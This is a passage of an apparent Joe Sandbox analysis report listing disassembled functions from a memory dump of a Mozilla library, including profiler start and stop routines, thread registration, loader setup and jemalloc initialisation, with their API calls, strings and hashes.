strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C99CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C99CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C99CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C99CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C99CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C99CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C99CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C99CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C99CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C99CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C99CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C99CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C99CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C99CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C99CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C99CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C99CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C99CE8A

Strings

fileioall, xrefs: 6C99CCA8
processcpu, xrefs: 6C99CE6E
Unrecognized feature "%s"., xrefs: 6C99CEA0
noiostacks, xrefs: 6C99CCBE
notimerresolutionchange, xrefs: 6C99CE00
samplingallthreads, xrefs: 6C99CE2C
preferencereads, xrefs: 6C99CD92
nativeallocations, xrefs: 6C99CDA8
fileio, xrefs: 6C99CC92
ipcmessages, xrefs: 6C99CDBE
java, xrefs: 6C99CC37
leaf, xrefs: 6C99CC66
jsallocations, xrefs: 6C99CD0E
power, xrefs: 6C99CE84
mainthreadio, xrefs: 6C99CC7C
default, xrefs: 6C99CC21
audiocallbacktracing, xrefs: 6C99CDD4
unregisteredthreads, xrefs: 6C99CE58
nostacksampling, xrefs: 6C99CD7C
markersallthreads, xrefs: 6C99CE42
stackwalk, xrefs: 6C99CCF8
cpuallthreads, xrefs: 6C99CE16
seqstyle, xrefs: 6C99CCE6
screenshots, xrefs: 6C99CCD4

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 049deccd7b179f3df5266eb65aac10e76e7929683c6140fb83ff99b66d0a272e
Instruction ID: 83ba0149e1da4508ae46db8caf5da7f62224e50d92e28a20b1727d8fa29fa8dd
Opcode Fuzzy Hash: 049deccd7b179f3df5266eb65aac10e76e7929683c6140fb83ff99b66d0a272e
Instruction Fuzzy Hash: 8751A7C1B4562622FF0431157D10BAA184DEFB724AF1C443AED1AA1F90FF05E71A86B7

Function 6C9647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C964801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C964817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C96482D
__Init_thread_footer.LIBCMT ref: 6C96484A

Part of subcall function 6C98AB3F: EnterCriticalSection.KERNEL32(6C9DE370,?,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284), ref: 6C98AB49
Part of subcall function 6C98AB3F: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98AB7C

GetCurrentThreadId.KERNEL32 ref: 6C96485F
GetCurrentThreadId.KERNEL32 ref: 6C96487E
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96488B
free.MOZGLUE(?), ref: 6C96493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C964956
free.MOZGLUE(00000000), ref: 6C964960
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96499A

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

free.MOZGLUE(?), ref: 6C9649C6
free.MOZGLUE(?), ref: 6C9649E9

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C964828
[I %d/%d] profiler_shutdown, xrefs: 6C964A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6C964A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C964812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9647FC

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 2fbc5fb9be08767893a91cb3a760ae8df8be2b8a6196d0d2bf022ff6f6b5cabf
Instruction ID: 08453eb5f0dbc9816052d0d2f3ad419fc9f7ccd014a6fa1920723bf4cc2f4576
Opcode Fuzzy Hash: 2fbc5fb9be08767893a91cb3a760ae8df8be2b8a6196d0d2bf022ff6f6b5cabf
Instruction Fuzzy Hash: D0812571A049009BEB00DFA9C86876A3775AF5232DF240229D916A7FC1D731F894CF96

Function 6C964470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C964730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9644B2,6C9DE21C,6C9DF7F8), ref: 6C96473E
Part of subcall function 6C964730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C96474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9644D2
InitOnceExecuteOnce.KERNEL32(6C9DF80C,6C95F240,?,?), ref: 6C96451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C96455C
LoadLibraryW.KERNEL32(?), ref: 6C964592
InitializeCriticalSection.KERNEL32(6C9DF770), ref: 6C9645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9645BB
InitOnceExecuteOnce.KERNEL32(6C9DF818,6C95F240,?,?), ref: 6C964612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C964636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C964644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C96466D
VerSetConditionMask.NTDLL ref: 6C96469F
VerSetConditionMask.NTDLL ref: 6C9646AB
VerSetConditionMask.NTDLL ref: 6C9646B2
VerSetConditionMask.NTDLL ref: 6C9646B9
VerSetConditionMask.NTDLL ref: 6C9646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9646FD

Strings

kernel32.dll, xrefs: 6C9644CD
WRusr.dll, xrefs: 6C9644B5
l, xrefs: 6C964578
user32.dll, xrefs: 6C964557, 6C96463F
NativeNtBlockSet_Write, xrefs: 6C9646F7

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: f27f717a67b20e8f9a74b2af67ba918b4ef8d69f493e4142ebe7b93006c3dbff
Instruction ID: 95f3080130d8457ce0f29acd07269db9e794ac254ff7730002b5faff1b8e1813
Opcode Fuzzy Hash: f27f717a67b20e8f9a74b2af67ba918b4ef8d69f493e4142ebe7b93006c3dbff
Instruction Fuzzy Hash: 2261F7B16087449FFB00DFA1C80AB957BB8EB4270CF24C559E505ABA91D770E6C4CFA1

Function 6C99E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C997090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C99B9F1,?), ref: 6C997107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C99DCF5), ref: 6C99E92D
GetCurrentThreadId.KERNEL32 ref: 6C99EA4F
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EA5C
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EA80
GetCurrentThreadId.KERNEL32 ref: 6C99EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C99DCF5), ref: 6C99EA92
GetCurrentThreadId.KERNEL32 ref: 6C99EB11
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C99EB3C
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EB5B

Part of subcall function 6C995710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C99EB71), ref: 6C9957AB

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C99EBAC

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99EBC1
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C99EBE5
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,00000000), ref: 6C99EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99EC46
CloseHandle.KERNEL32(?), ref: 6C99EC55
free.MOZGLUE(00000000), ref: 6C99EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6C99EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C99EA9B

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 3145cb90d335be97890469e9718d1b74dd249c376b04779be51412aa5bf88626
Instruction ID: 2aa7de54209fbba727499cebadc23d7e2544764f98b9149ff84a5c138505d6e8
Opcode Fuzzy Hash: 3145cb90d335be97890469e9718d1b74dd249c376b04779be51412aa5bf88626
Instruction Fuzzy Hash: 39A15B31704A049FDB009F28C849B6A77B5FF9631DF298129E919A7F51DB30F884CBA1

Function 6C99F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C99F8F9

Part of subcall function 6C966390: GetCurrentThreadId.KERNEL32 ref: 6C9663D0
Part of subcall function 6C966390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9663DF
Part of subcall function 6C966390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C96640E

ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F93A
GetCurrentThreadId.KERNEL32 ref: 6C99F98A
GetCurrentThreadId.KERNEL32 ref: 6C99F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F716

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

Part of subcall function 6C95B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C95B5E0

GetCurrentThreadId.KERNEL32 ref: 6C99F739
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F746
GetCurrentThreadId.KERNEL32 ref: 6C99F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9D385B,00000002,?,?,?,?,?), ref: 6C99F829
free.MOZGLUE(?,?,00000000,?), ref: 6C99F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C99F866
free.MOZGLUE(?), ref: 6C99FA0C

Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C965E8C
Part of subcall function 6C965E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965E9D
Part of subcall function 6C965E60: GetCurrentThreadId.KERNEL32 ref: 6C965EAB
Part of subcall function 6C965E60: GetCurrentThreadId.KERNEL32 ref: 6C965EB8
Part of subcall function 6C965E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965ECF
Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C965F27
Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C965F47
Part of subcall function 6C965E60: GetCurrentProcess.KERNEL32 ref: 6C965F53
Part of subcall function 6C965E60: GetCurrentThread.KERNEL32 ref: 6C965F5C
Part of subcall function 6C965E60: GetCurrentProcess.KERNEL32 ref: 6C965F66
Part of subcall function 6C965E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C965F7E

free.MOZGLUE(?), ref: 6C99F9C5
free.MOZGLUE(?), ref: 6C99F9DA

Strings

" attempted to re-register as ", xrefs: 6C99F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C99F9A6
Thread , xrefs: 6C99F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C99F71F

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: adb053c41f4b996cf471cd50024806c6380a869b3b6f9227bf40ae8ed8245ea4
Instruction ID: 6b5310c5603d191f7ca0fc8477d7f63638681e90b96a7aec3afb15557e2c5248
Opcode Fuzzy Hash: adb053c41f4b996cf471cd50024806c6380a869b3b6f9227bf40ae8ed8245ea4
Instruction Fuzzy Hash: 8C81D4716047009FDB10DF24C840BAEB7B5FFA5308F59856DE849A7B51EB30E949CBA2

Function 6C99EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EE60
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EE6D
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99EEA5
CloseHandle.KERNEL32(?), ref: 6C99EEB4
free.MOZGLUE(00000000), ref: 6C99EEBB
GetCurrentThreadId.KERNEL32 ref: 6C99EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99EECF

Part of subcall function 6C99DE60: GetCurrentThreadId.KERNEL32 ref: 6C99DE73
Part of subcall function 6C99DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C964A68), ref: 6C99DE7B
Part of subcall function 6C99DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C964A68), ref: 6C99DEB8
Part of subcall function 6C99DE60: free.MOZGLUE(00000000,?,6C964A68), ref: 6C99DEFE
Part of subcall function 6C99DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C99DF38

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

GetCurrentThreadId.KERNEL32 ref: 6C99EF1E
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EF2B
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EF59
GetCurrentThreadId.KERNEL32 ref: 6C99EFB0
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EFBD
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EFE1
GetCurrentThreadId.KERNEL32 ref: 6C99EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F000

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C99F02F

Part of subcall function 6C99F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C99F09B
Part of subcall function 6C99F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C99F0AC
Part of subcall function 6C99F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C99F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C99F008
[I %d/%d] profiler_stop, xrefs: 6C99EED7

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 451629b7ceba5a161d3ef492f19b905726d78a02939a6caee69f6441b36fb32a
Instruction ID: b8a4fbac2efcb96a32d5c2e6a1e40db27ab5d879d583546039f975c505bbd21f
Opcode Fuzzy Hash: 451629b7ceba5a161d3ef492f19b905726d78a02939a6caee69f6441b36fb32a
Instruction Fuzzy Hash: 88510531608A109FDB005BA4D80E7A577B8FB5631EF38465AE919A3F40DB31F884C7E2

Function 6C98D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9DE804), ref: 6C98D047
GetSystemInfo.KERNEL32(?), ref: 6C98D093
__Init_thread_footer.LIBCMT ref: 6C98D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9DE810,00000040), ref: 6C98D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7B8,00001388), ref: 6C98D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE744,00001388), ref: 6C98D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE784,00001388), ref: 6C98D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7DC,00001388), ref: 6C98D1B1

Strings

MOZ_CRASH(), xrefs: 6C98D277
MALLOC_OPTIONS, xrefs: 6C98D0CB
Compile-time page size does not divide the runtime one., xrefs: 6C98D26D
<jemalloc>, xrefs: 6C98D268, 6C98D311
: (malloc) Unsupported character in malloc options: ', xrefs: 6C98D322

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

